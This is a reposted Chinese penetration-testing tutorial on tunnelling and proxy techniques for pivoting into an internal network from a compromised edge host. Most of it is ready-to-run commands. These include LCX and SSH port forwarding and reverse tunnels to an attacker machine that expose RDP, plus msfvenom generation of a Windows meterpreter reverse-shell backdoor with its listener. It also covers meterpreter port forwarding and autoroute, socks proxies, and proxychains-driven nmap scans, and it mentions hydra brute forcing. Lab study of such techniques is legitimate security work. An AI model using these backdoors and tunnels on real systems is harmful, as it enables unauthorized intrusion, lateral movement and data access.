隧道的概念
隧道通常指的是在一个网络连接上创建一个加密的数据通道
隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包,隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送,新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递,被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由,被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。
隧道技术是指包括数据封装、传输和解包在内的全过程
代理的概念
服务端处理socks、http(s)等协议请求时,将请求数据包和响应数据包进行转发,担任中间人的角色,可以搭建链路访问内部网络或原本无法访问的站点
代理和隧道技术的区别
代理主要解决网络访问通讯问题,还可以隐藏本地IP,隧道技术解决在网络中的流量加密传输等
隧道代理技术的应用
在内网渗透中,当我们拿下了某台边界主机,要对边界主机整个内网进行渗透时,首先要在被控主机内网进行信息收集,但是被控制的主机中没有趁手工具对内网进行探测,而我们在家或者在公司的电脑空有工具却无法访问被控主机内网,怎么办?这个时候我们就要像现实生活中一样,建立一个通道,一条直通被控主机内网中的通道,使得我们在办公网络中的电脑能直接访问到被控主机内网中,而这个通道称为隧道,我们本地需要通过代理到搭建的隧道来访问被控主机内网,这整个过程称为隧道代理技术
我们通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构更是错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制,因此面对不同的网络环境对于代理的选择及使用显得格外重要
隧道的分类
关于隧道的分类大体可以从两个方面进行分类
从流量层分类
应⽤层:HTTP、SOCKS、DNS、SSH
传输层:TCP、UDP
⽹络层:ICMP、IPV6
从作用上分类
端口转发(LCX SSH iptables telnet)
端口映射(LCX NPS FRP)
正向代理(EW NPS FRP)
反向代理(EW NPS FRP)
Http代理和Socks代理(隧道)
我们在内网渗透的时候,大多数用到的代理就是http和socks
Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页
Socks代理用的是Socks协议,工作在会话层,可以用来传递所有流量的数据包
socks 代理又分为 Socks4 和 Sock5,Socks4只支持TCP,而 Socks5 支持 TCP 和 UDP 并且支持数据加密传输
端口转发和端口映射
端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口.攻击者往往利用端口转发来进入内网对某个特定的服务进行攻击,或者是为了绕过本地防火墙的策略(比如:3389端口不出网,我们可以将其转发至出网的53端口)
端口映射是 NAT 的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射到另一个端口供其他人使用
端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务
端口转发工具
LCX
LCX 是一款 Socket 基于端口转发工具,有 Windows 版和 Linux 版,其中 Linux 版名为 PortMap,lcx是国内最早开发的隧道工具,不过现在已经停止维护了
LCX 有端口映射和端口转发两大功能,例如当目标的某个端口只对内网开放,可以使用端口映射将只对内网开放的端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略(Windows系统防火墙或者是Linux系统的iptables)只允许访问固定某一端口时,可以通过端口转发突破限制
Windows版的LCX基础用法:
# 端口转发:正向代理
lcx.exe -listen <目标端口><监听端口>
lcx.exe -slave <攻击机IP><监听端口><目标IP><目标端口>
# 注:listen和slave需成对使用
# 端口映射:反向代理
lcx.exe -tran<等待连接的端口><目标IP><目标端口>
Linux版的LCX基础用法:
-v: version 软件版本
-h1: host1 监听的内网地址
-h2: host2 转发的公网地址
-p1: port1 内网服务端口
-p2: port2 转发到的公网端口
-log: 指定连接日志保存文件,默认输出到屏幕
-m: 指定使用方法
1:同Windows的lcx -tran
2:同Windows的lcx中的-listen
3:同Windows的lcx -slave
SSH
SSH通过网络远程访问主机提供保护,可以对客户端和服务端之间的数据传输进行压缩和加密,有身份验证、SCP、SFTP、和端口转发的功能
SSH转发常用的参数介绍:
C | 请求压缩所有数据 |
---|---|
-D | 动态转发,即socks代理 |
-f | 后台执行SSH指令 |
-g | 允许远程主机连接主机的转发端口 |
-L | 本地转发 |
-N | 不执行远程命令,处于等待状态 |
-R | 远程转发 |
正向连接: |
ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 [email protected]
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>
反向隧道:
web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22 [email protected]
ssh -qTfnN -R port:host:hostport remoteuser@remote\_ip //将本地端口映射到攻击者的端口,执行之后需要输入remoteuser的密码
攻击者执行以下命令:
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 [email protected] \# 命令解析:连接端口
反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)
ssh -CfNg -R 11111:192.168.160.139:3389 [email protected]
kali上通过rdesktop连接本地的11111端口
rdesktop 127.0.0.1:11111
MSF端口映射
使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver
首先去拿shell
使用msf生成后门
msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/ss.exe
kali监听对应端口
use exploit/multi/handler
set payload windows/meterpreter/reverse\_tcp
set lhost 192.168.0.115
set lport 12345
exploit
端口映射
在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口
portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80
\-L localhost
\-l localport
\-r remote ip
\-p remote port
直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可
转发端口
\# meterpreter
portfwd add -l 5555 -p 3389 -r 192.168.0.144
\-l localport
\-r remote ip
\-p remote port
rdesktop 127.1.1.0:5555
其他命令
查看列表
portfwd list
清空列表
portfwd flush
Socket隧道
拓扑
ssocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务,web服务器和kali都需要安装这款工具才能使用
下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译
反向代理
将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试
1.建立隧道
kali端:
./rcsocks -l 1088 -p 1080 -vv
\-vv 获取详细信息
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口
web服务器端:
./rssocks -vv -s 192.168.179.128:1080
#接收192.168.179.128:1080端口的流量
输入命令后通道就建立完毕了
2.开启代理
proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令apt-get install proxychains安装
kali端修改配置文件:
/etc/proxychains.conf
注释socks4添加socks5(注意是socks5下图有误)
测试
proxychains ssh 127.0.0.1
输入密码连接后,成功连接ssh,查看本机ip
使用firefox
proxychains firefox 10.0.0.2
正向代理
web服务器如下命令创建代理并监听自己的IP
./ssocksd --bind 192.168.179.147 --port 6020
在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020
vi /etc/proxychains.conf
执行如下命令,连接内网服务器,查看ip得知代理成功。
1proxychains ssh 127.0.0.1
扫描内网
用kali里边的nmap扫描
proxychains nmap -Pn -sT 10.0.0.2
MSF跨路由扫描
在Kali生成后门文件
msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe
生成完毕,通过webshell将文件上传至win服务器
kali进入msf,开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse\_tcp
set lhost 192.168.179.128
set lport 12345
exploit
等win服务器那边点击了exe文件,这边就上线了
简单收集信息
查看当前用户
getuid
查看网卡信息
ifconfig
查看路由信息
run get\_local\_subnets
run autoroute -p
发现没有路由,接下来使用命令添加路由
增加路由
run autoroute -s 10.0.0.0/24
run autoroute -p
这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理
background 之后使用 socks4a 模块
use auxiliary/server/socks4a
set SRVPORT 10044
修改配置文件,注释掉原来的,添加一条新的
vi /etc/prxoychains.conf
socks4 192.168.179.128 10044
这样的话路由就添加完成了
可以使用nmap对10.0.0.2进行端口扫描
proxychains nmap -sT -Pn 10.0.0.2
也可以用hydra进行密码爆破
转自:https://blog.csdn.net/wholeliubei/article/details/139525760
标签:隧道,端口,代理,192.168,技术,转发,端口映射 From: https://www.cnblogs.com/m0userathxy/p/18342479